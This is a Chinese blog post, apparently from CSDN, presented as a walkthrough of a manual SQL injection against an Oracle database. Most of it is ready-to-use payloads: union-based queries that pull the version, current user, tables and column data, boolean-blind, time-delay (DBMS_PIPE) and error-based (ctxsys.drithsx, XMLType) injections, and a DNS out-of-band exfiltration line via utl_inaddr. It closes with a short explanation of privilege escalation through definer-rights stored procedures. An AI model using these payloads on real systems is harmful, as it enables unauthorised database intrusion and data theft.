记一次手工注入Oracle数据库

本文详细记录了一次手工注入Oracle数据库的过程,涵盖了Oracle的简单介绍、布尔盲注、延时注入、报错注入等技巧。重点讨论了Oracle存储过程提权,通过讲解在不同版本中的漏洞利用,如Oracle 10g的提权漏洞,以及如何通过创建JAVA代码和函数进行权限提升或反弹shell。最后提到了Oracle 11g的逻辑漏洞,展示了如何在具备create session权限的情况下赋予任意Java权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

记一次手工注入oracle数据库

  • 枕头要常晒因为里面装满了发霉的梦想。

oracle简单介绍:

 Oracle默认的用户有两个sys和system,并且每个用户都会有各自的角色,如DBA、Resource、Connect,DBA权限最高,可以创建库、用户等,Resouce可以创建实例,而connect只能查询表。

oracle简单利用:

因为有点涉密直接过滤url,可以自行搭建靶机测试。

1、首先判断是否存在注入点 and 1=1/and 1=2
2、然后在判断是什么类型数据库and (select count (*) from dual)>0  
Ps:Dual为oracle的一个默认表
3、判断列数order by 看页面是否正常显示
4、联合注入, union select null,null,null,null,null,null,null from dual
然后在通过改变null为字符型,如‘1’,判断显示位
5、根据显示位,查看数据库版本信息及当前数据库
union select null,null,null,null,null, (select banner from sys.v_$version where rownum=1),null from dual
union select null,null,null ,null,null, (SELECT name FROM v$database),null from dual
6、查看当前用户
union select null,null,null ,null,null, (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),null from dual
7、直接跑所有表
union select null,null,null ,null,null, TABLE_NAME,null from USER_TABLES
8、跑表字段
union select null,null,COLUMN_NAME,null,null,null,null from 当前数据库 where TABLE_NAME='具体表名'
9、跑数据
union select null,null,null ,null,null, 字段1||'='||字段2,null from 具体表名
  • 布尔盲注
and 1=(select decode(substr(user,1,1),'S',1,0) from dual
and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual)
and 1=(instr((select user from dual),'SYS')) 
and (select ascii(substr(username,1,1)) from admin)=97
select utl_inaddr.get_host_address((select user from dual)||'www.dns.com') from dual)is not null-- 站库分离dns传

  • 延时注入
select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual

  • 报错注入
and 1=ctxsys.drithsx.sn(1,(select user from dual))—
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null—
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null—

oracle存储过程提权:

在oracle存储过程中,运行权限有两种权限,一个的difiner(为函数创建者权限,创建时默认创建者权限,一般都是dba高权限创建)和invoker(调用函数的用户权限),简单来说就是我们在低权限下运行高权限创建的存储过程,我们在调用的时候,就是可以访问高权限的资源以及使用高权限。提权的话主要由于高权限用户创建存储过程没有经过安全处理或者被绕过,低权限用户直接调用该存储过程函数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值